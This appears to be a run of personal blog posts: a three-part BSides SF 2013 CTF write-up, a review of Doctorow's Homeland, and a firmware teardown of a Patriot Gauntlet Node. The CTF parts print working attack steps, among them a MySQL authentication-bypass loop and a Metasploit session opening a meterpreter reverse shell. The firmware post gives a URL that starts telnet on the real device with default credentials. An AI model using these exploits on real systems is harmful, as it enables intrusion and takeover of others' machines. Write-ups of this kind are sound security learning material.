BSides SF CTF by MAD Security, Part 3

This is a continuation of my write-up of the BSides SF 2013 CTF.

Level 5: Phone Work
This level required that we find a phone number on the Absurdistani snoop's computer and gain access to the voicemail box associated with the number.  Finding the number was straightforward -- there was an email draft that contained the signature of the snoop, and in that signature was his phone number and voice mail box number.  (This also lets us know his name is Marco.)  Calling the phone number and entering the VM box number, we're asked for the PIN of the voicemail box.  After trying some obvious things (the VM box number, the last 4 digits of the phone number, 1234, 0000, etc.) I started looking through his machine for any clues, but his machine was very sparsely populated with files.  So, off to the internet for a list of the most common pins.  Yeah, humans are predictable... the top 20 PINs (20/10000 =~ 0.2% of pins) represent a whopping 27% of PINs in use.  Turns out Marco was that predictable too.  One of the top 10 and we're in!  The voicemail tells Marco that his new secure key is available on the secure keyserver, which he can retrieve using the 15 digit project access code.

Level 6: Crypto
I need to get access to the keys from the keyserver, and I'm lucky that Marco's workstation contained a couple of other interesting files.  One of those files was a PDF describing the format of requests to a secure keyserver for getting the keys.  It described a format like <epoch_time>|key=<key_id>|public=<0|1>|private=<0|1> that was "signed" with a 15 digit key.  Along with the PDF, there was a logfile of a transaction with the keyserver that revealed the client-side of a single request to the keyserver: MTM2MTY2NTYyM3xrZXk9NThiMDI3OXxwcml2YXRlPTB8cHVibGljPTE=|sig:3f8296f8b84b8981cdfdcdc1964fb570958f9523.  A quick nmap got the port number to talk to.  I hit the server with netcat, and copied in the request from the logfile, and it turns out that the server was definitely vulnerable to replay attacks -- instantly I had an SSH public key.

The next flag asks for the private key.  It was pretty easy to see that the replayed request had a base64 encoded portion, followed by |sig:, and then a hex-encoded signature.  Given the length of the signature (160 bits), it's a pretty safe bet that we're dealing with SHA-1, and while SHA-1 has some weaknesses, nothing that will allow us to easily retrieve the 15 digit key.  Let's see what the first part looks like:

echo -n "MTM2MTY2NTYyM3xrZXk9NThiMDI3OXxwcml2YXRlPTB8cHVibGljPTE=" | base64 -d
1361665623|key=58b0279|private=0|public=1

So it's exactly the format that was described earlier. Let's see just how good the signature validation is. I switched public to 0 and private to 1, re-encode with base64, and try to resend the message... Nope, Invalid Signature. Maybe it only validates a certain number of bytes, so I try to append an additional |private=1, encode, and send, but still... Invalid signature. So I vaguely recall that there's some sort of length-extension attack on poorly formed signatures using Merkle–Damgård hash functions. I start Googling and find some code from VNSecurity for Codegate 2010, doing almost exactly the same thing. I decide to give it a try and see if simply appending an additional |private=1 will work. A few moments later, I have a newly signed request which I send off to the keyserver... and there it is, the SSH private key. MD5SUM into the scoring system, and I'm off to Level 7.

Level 7: The Wireshark Firewall?
I didn't manage to make it through Level 7, but the premise was that the SSH gateway was secured by a firewall that was controlled by (of all things) Wireshark. The host in question was completely inaccessible -- a blackhole of packets. I tried a few Wireshark DOS attacks that I had handy (Metasploit) but none of them seemed to make a dent in the system. Unfortunately, the clock ran out before I could find the magic sauce to get into that system and through to future levels.

 

In my next post, I'm going to talk about some lessons I learned and things I wish I had done differently -- there are definitely many things I could've done better and hope I'll do better in my next CTF.


BSides SF CTF by MAD Security, Part 2

This is a continuation of my write-up of the BSides SF 2013 CTF.

Level 3: Disk Forensics
A professional cleaner who has done some work for Nick provides you with an image of a flash drive, and you're to find the most "interesting file" on the drive and provide its md5sum.  The first thing I do is run file on the image to get an idea of what we're working with:

$ file usb_disk_image 
usb_disk_image: x86 boot sector, code offset 0x52, OEM-ID "NTFS    ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 64, hidden sectors 2048, dos < 4.0 BootSector (0x80)

OK, so it's an unpartitioned NTFS filesystem. That's something we can easily work with -- Autopsy natively supports NTFS, so I can load it up into Autopsy and get an idea of what's going on. Unfortunately, all I found in Autopsy is an empty file system with a handful of deleted files. Most of those deleted files have a size of 0 bytes, but one is exactly 5MB in size. Since that's all I found, I extract the deleted sectors in hopes that it's interesting. First, I try to submit the md5 of the extracted file, but no go, it's not interesting yet.

So what is this file? file tells us its "data", which is the generic response for anything it doesn't recognize. Neither strings nor hexdump find anything interesting -- in fact, the data looks nearly perfectly random. What could be completely random? Well, it could be just random junk, (ala dd if=/dev/urandom) but since it was the only thing on the flash drive, I'm going to guess it's at least slightly meaningful. So, if it's not random but appears random, then it's likely the output of a strong encryption cipher. It doesn't start with our favorite "Salted__" string, so it's probably not encrypted via OpenSSL. GnuPG doesn't recognize it, so it's not OpenPGP data. It also seems a little odd to me that it's exactly 5MB in size. Maybe an encrypted container? Didn't that password file have an entry that started with tc? TrueCrypt perhaps?

I fire up TrueCrypt, open the usb_disk_image (actually a copy), and it prompts for a password, so I give it the passphrase labeled tc: from the earlier passwords.enc file -- and the container unlocks! It contains only one file, an SSH public key file. I copy out the file, md5sum it, and submit the hash, and I'm on to level 4!

Level 4: Drivel
Apparently, Nick was a fan of a social network called "Drivel", and that network might have been what allowed the Absurdistani government to snoop on him. So, there's three things we'd like to do using Drivel: find out what Nick's Drivel handle is, find out the user agent of the Absurdistani snoop, and gain access to the workstation of the Absurdistani snoop.

Drivel apparently has no search function, no user index, no obvious way to enumerate users. Nick's credentials from myface.com don't get me anywhere either. Create an account and poke around. Create a few posts, looking for obvious issues -- oh, hrrm, it doesn't like posts with single quotes "'" in them. I get an error of "Unable to insert data to db.drivel.com as driveldba", so first I'm thinking Blind SQL injection, but with no idea of the schema, and the fact that errors seem to be consistent, this doesn't seem to be a strong avenue.

Maybe the DB server will be more fruitful. A quick nmap shows the only thing running on the machine is MySQL, specifically 5.1.58-1ubuntu3. At first, I threw a few common/obvious passwords down with users of root/driveldba, but go nowhere. Then I thought about the fact that 5.1.58 is a bit of an old version, and maybe it's vulnerable to CVE-2012-2122 (which, by the way, is possibly my favorite vuln of all time). That's easy enough to check:

$ while true;do mysql -udriveldba -pfoo -hdb.drivel.com;done
ERROR 1045 (28000): Access denied for user: 'driveldba@10.10.1.99' (Using password: YES)
ERROR 1045 (28000): Access denied for user: 'driveldba@10.10.1.99' (Using password: YES)
ERROR 1045 (28000): Access denied for user: 'driveldba@10.10.1.99' (Using password: YES)
...
ERROR 1045 (28000): Access denied for user: 'driveldba@10.10.1.99' (Using password: YES)
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 132382
Server version: 5.1.58-1ubuntu3
mysql>

Nothing like "vulnerable to a shell loop" to make your day. We still need nick's info from the DB.

mysql> use drivel;
mysql> select * from user where email='nickn@aol.com';
+-----+----------+---------------+
| id  | username | email         |
+-----+----------+---------------+
| 137 | wickednn | nickn@aol.com |
+-----+----------+---------------+
1 row in set (0.00 sec)

Ok, @wickednn into the scoring system and we're on to the next flag. We need the User Agent of the Absurdistani snoop. I fumbled on this one for way, way, way, too long. I was trying all kinds of stored XSS with absolutely no luck (well, at least for the Absurdistani snoop -- I'm pretty sure a couple of other competitors stumbled on to my stored XSS...) Wasting my time with trying to get the snoop to post a message containing his user agent, Josh from MAD Security saw what I was doing and said "stop overthinking." He was right -- I was overthinking. Not only could I put XSS in the posts on Drivel, I could throw some plain HTML in there. Say, HTML to request an IMG from another server. Like a server running on my laptop. Even netcat, since all I needed were headers. Not only would I get a User-Agent, but I'd get a lot more information as well. nc -l -p80 and drop an IMG tag into a post to @wickednn, and then wait...

GET / HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://drivel.com/p/wickednn
Accept-Language: en-US
User-Agent: Mozilla 5.0 (Compatible; MSIE 9.0; Windows NT 6.1; Java 1.6u25; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: 10.10.0.148
Connection: Keep-Alive

As an added bonus, netstat lets me know the connection is coming from 10.1.5.51. So, I put in the User-Agent and get to figuring out how I'm going to gain access to the workstation. I spent some time looking at browser exploits, like MS13-009, but MSIE 9 is pretty current. On the other hand, Java 1.6u25 isn't so much, so I focus on getting into the client via Java. I try a few more XSS attacks to redirect to bad Java applets, but it's pretty clear that's not working -- it seems that our snoop has JS disabled in his browser. So I settle on CVE-2011-3544, which is an exploit in the Java Rhino Scripting Engine in Java 1.6 < Update 27, which our client meets. It's a fairly high reliability attack and available directly from Metasploit, so it's a good starting place. But with no XSS, how will I get him to it? Clearly, an IMG tag isn't going to get MSIE to load an applet, but what about an iframe? I launch the exploit to grab the URL from my workstation.

msf > use exploit/multi/browser/java_rhino
msf  exploit(java_rhino) > set DisablePayloadHandler false
DisablePayloadHandler => false
msf  exploit(java_rhino) > set LPORT 13859
LPORT => 13859
msf  exploit(java_rhino) > set SRVPORT 8080
SRVPORT => 8080
msf  exploit(java_rhino) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(java_rhino) > set TARGET 1
TARGET => 1
msf  exploit(java_rhino) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.0.148:13859 
[*] Using URL: http://0.0.0.0:8080/mbgQ7zQ41UT
[*]  Local IP: http://10.10.0.148:8080/mbgQ7zQ41UT
[*] Server started.

I insert an iframe into a post, pointing to my Metasploit instance (http://10.10.0.148:8080/mbgQ7zQ41UT). And again, we're waiting on him to refresh the stream.

[*] 10.1.5.51        java_rhino - Java Applet Rhino Script Engine Remote Code Execution handling request
[*] 10.1.5.51        java_rhino - Sending Applet.jar
[*] Sending stage (752128 bytes) to 10.1.5.51
[*] Meterpreter session 1 opened (10.10.0.148:13859 -> 10.1.5.51:49417) at 2013-02-25 12:31:45 -0800

Launch a windows shell, and there's the hostname! Into the scoring system it goes, and we're on to level 5... in the next post.


BSides SF CTF by MAD Security, Part 1

Last weekend I was at BSides SF and had the opportunity to participate in the Capture the Flag competition run by MAD Security/The Hacker Academy. I was able to clear 6 of the levels, and thought I'd write them up here to share my experience. Most of this is from my memory, so there might be a few inaccuracies, but the intent is to share the general concepts, not the specifics.

Backstory
Nick, a vocal opponent of the Absurdistani government, has disappeared, and you need to find out what happened to him.

Level 1: Information Gathering
Level one was basically just information gathering -- obtain Nick's personal email address and the password for his "myface.com" account. The first part was incredibly straightforward: go to myface.com and find the directory of members. Click on Nick's name and there's his email address. Obtaining his password is only another step away -- let's pretend we've forgotten our password, and get some password reset questions. Hrrm, what might the name of his dog be? I'm sure he guards that infor... oh, wait, what's the caption on the picture of a dog? And for bonus points, it turns out that myface.com stores passwords in plaintext, so they can just spit his out to us!

Level 2: Private Files
This one had a bit of a curve ball to it: Nick, an early adopter of Cloudbox, might have some private files stored there. (Find his private file and provide the md5sum of the file as well as part of the contents.) Let's go check out the site. We'll start with the obvious and try to login with Nick's username and password from myface.com (who doesn't love some password reuse?) -- but no such luck. Well, we can try creating an account and poking about a bit. We see that our account is at http://cloudbox.com/account/292. What happens if we change around the number at the end? Oh, look -- it's other people's accounts! Ok, so we can enumerate accounts, and find an account number "2" that has a video in it. Well, they did say he was an early adopter, so we download the file, md5sum, and... wrong answer! Crap, it's not that easy. With a little perseverance, you can discover a couple of other accounts with files -- might as well grab them all and give them a try. OK, one of the files appears to be gibberish, so it's probably encrypted, so let's try that as the secret file -- and the md5sum checks out.

Now how do we recover the secrets within?  Running "file" on the encrypted file just tells us that it's "data", which is not surprising for an encrypted file.  Maybe a hexdump of the file will give us a clue:

00000000  53 61 6c 74 65 64 5f 5f  88 36 d2 d4 a2 9f c8 58  |Salted__.6.....X|
00000010  9d 18 b9 4d d4 bc ef 20  38 a3 da 8a 4b 72 0c 1f  |...M... 8...Kr..|
00000020  e9 51 7e 95 c8 d0 f3 7e  9d dc 76 9e a1 b7 d0 67  |.Q~....~..v....g|
00000030  cd 84 ab 70 3b 43 34 24  70 d9 7c 9e d9 80 b0 13  |...p;C4$p.|.....|
00000040  46 f7 00 74 d0 ca 54 4c  27 a1 2c 24 e0 f8 a3 26  |F..t..TL'.,$...&|
00000050  77 03                                             |w.|

Salted__ looks meaningful... I seem to recall that using OpenSSL enc produces that at the beginning of the file, but I'm not sure. How can we confirm that? Let's run a small test and find out.

$ echo "foo" | openssl enc -des3 | hexdump -C
enter des-ede3-cbc encryption password:
Verifying - enter des-ede3-cbc encryption password:
00000000  53 61 6c 74 65 64 5f 5f  65 33 31 b2 5c 41 6f ca  |Salted__e31.\Ao.|
00000010  9d 82 62 15 eb 9c 6c bc                           |..b...l.|

Looks like roughly the same thing, so we're probably on the right track, but we don't have a key. The level mentions that Nick's roots are from a web image hosting service, so maybe there's something interesting with that. I'd grabbed the images from Nick's myface page, so I figured I'd see if there was anything to those. "strings" is a handy utility for these sorts of things, and I quickly discovered the same thing in the EXIF portion of each of the images: Encryption Key: e82e1beefdaad9c. Could it really be that easy?

There's one more piece of information we need: what algorithm did Nick use for his encryption? I don't see anything pointing me in the right direction, but there's a handful of commonly used algorithms, so I just tried those: des3, aes-128-cbc, aes-256-cbc, aes-192-cbc and each time, I got "bad decrypt" until I tried rc4, where there was success! I found a text file containing what appeared to be 3 passwords (actual passwords munged):

aol: M0nk3yIsl@nd
tc: Fr0bb3rW!nn3r
wells fargo: Gord0nFr33m4n

I dropped the password into the scoring system, and I moved on to level 3... in the next post.


Homeland by Cory Doctorow

Those who know me will not be surprised to learn that I have stayed up until 1:45 AM reading Cory Doctorow's new book, Homeland. Homeland is the sequel to Little Brother, Cory's first novel about a dystopian near-future/present of the American Surveillance State, which was one of my favorite novels of all time. Homeland doesn't disappoint -- it's realistic enough to be scary, but sufficiently fictional to not be downright terrifying. Little Brother and Homeland are the Nineteen Eighty-Four of the 21st century -- a warning of an issue that society is largely ignoring, and that will affect every one of us.

Minor spoilers below.

I read Little Brother before my move to the Bay Area, and so the descriptions of San Francisco felt like they were talking about any other city I had visited or about which I had watched a movie. Reading Homeland now, I am immensely familiar with many of the areas described. Perhaps most excitingly, Noisebridge, the well-known San Francisco hackerspace, is featured prominently in the novel. Perhaps even more exciting to the geek in me are some of the early characters in the novel: John Perry Barlow, Mitch Kapor, and John Gilmore of EFF fame; and Wil Wheaton of Star Trek: TNG, The Big Bang Theory, and Internet fame.

Significantly, Cory gets the technology just right. Describing technologies like TOR in a correct but not boring manner is no small feat in a novel, and he pulls it off perfectly. Even more so, describing the terrifying capabilities of the modern police/surveillance state is something that only Orwell and Doctorow have done so convincingly. This, of course, is where the book gets all too real -- descriptions of police actions towards protesters, of pervasive surveillance, of spyware gone bad, and of politicians bought by "big business" -- this is the world we live in, and only the slightest details separate Homeland from reality. Doctorow hits it right on the head, and addresses the very things that keep me awake at night, and keep reminding me of why organizations like the EFF are so important.

Despite the plight of the protagonist, Marcus Yallow, the hardest part of Homeland for me to read was the 2nd afterword. Written by Aaron Swartz, the afterward is a reminder that Homeland, like Little Brother before it, is not just a novel, but actually describes many of the aspects of our society of today and tomorrow. This was especially hard to read when you realize that it is this very same society (and likely many of the same aspects of society) that led to Aaron taking his own life recently. Homeland serves as a reminder of all the things that Aaron fought for, and that the rest of us must continue to fight for.

Like Little Brother, Homeland must be read by anyone who cares about privacy, civil liberties, technology, or their intersection. Not only does the book address serious issues, it does so in a manner that makes it impossible to put it down until the very end. You'll be left actually thinking about social, legal, technological, and ethical issues, and that's exactly what society needs so desperately.


Playing with the Patriot Gauntlet Node (Part 1)

I recently picked up a Patriot Gauntlet Node just to take a look at it. Playing with the device, it seemed to be a pretty straightforward wireless SoC with a hard drive interface. Many, if not most, of these embedded SoCs use Linux as their operating system, so I decided to go a bit further and see what was going on.

I headed over to the Patriot website and downloaded the firmware for the Gauntlet Node, unzipped the file, and ran binwalk against it. (Binwalk is an awesome tool that essentially runs 'file' with a special magic file against every possible byte offset to find the parts of a firmware image.)

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------
0         	0x0       	uImage header, header size: 64 bytes, header CRC: 0xE7CCD2D7, created: Mon Nov 19 21:53:24 2012, image size: 5646212 bytes, Data Address: 0x80000000, Entry Point: 0x803DC000, data CRC: 0xCC23D5F0, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: Linux Kernel Image
64        	0x40      	LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 8244219 bytes
138771    	0x21E13   	JFFS2 filesystem (old) data big endian, JFFS node length: 411382
1909438   	0x1D22BE  	Broadcom header, number of sections: 25170859,
5051328   	0x4D13C0  	JFFS2 filesystem (old) data big endian, JFFS node length: 391617

This confirmed my suspicions -- a Linux OS resides on the device. (And no, before you look, there's no GPL sources to be found on the Patriot site...) So, let's see what's inside. Since the uImage header identified the compression as lzma, and the section at 0x40 is LZMA compressed (and first), it seems likely to be a kernel image. A quick dd if=PA21_1.2.4.5.bin of=kernel.lzma bs=64 skip=1;lzma -d kernel.lzma left me with a kernel image, confirmed by running strings on the file. The kernel by itself isn't very interesting -- userspace can tell us a lot more about how the device works. Let's look for a filesystem -- binwalk has identified two JFFS2 (common on embedded devices) filesystems. Unfortunately, it turns out that neither of those is actually a JFFS2 filesystem (binwalk does get the occasional false positive). So let's look at the kernel some more, maybe we can find some clues. Let's look for the kernel command line:

$ strings img.1.2.4.5 | grep 'root='
Please append a correct "root=" boot option
console=ttyS1,57600n8 root=/dev/ram0
console=ttyS1,57600n8 root=/dev/ram0

/dev/ram0 suggests we're booting from an initrd of some sort, maybe in the same lzma image? Let's try binwalk on the kernel image itself... That nets us a lot of noise, dozens of lzma and JFFS2 signatures, mostly obvious false positives (massive dictionary sizes, uncompressed sizes, etc.). But the very last image found, an lzma image, has a dictionary size of exactly 1048576 (1MB), so seems like a likely candidate. Another dd and lzma later, and I've got a file that 'file' identifies as a cpio archive (standard for an initrd). cpio -idv --no-absolute-filenames gets me a nice directory structure of a linux root filesystem. Finally something to work with!

I poked around the filesystem a little, and I'll have more on that later, but the most interesting thing I've found so far is a file named killprocess.cgi in /etc_ro/web/cgi-bin. It turns out that given the right argument, this triggers a busybox telnetd. That's right, it just takes a web request to get telnet! http://10.10.10.254/cgi-bin/killprocess.cgi?service (using the default IP) starts telnetd right up. admin/admin logs you right in.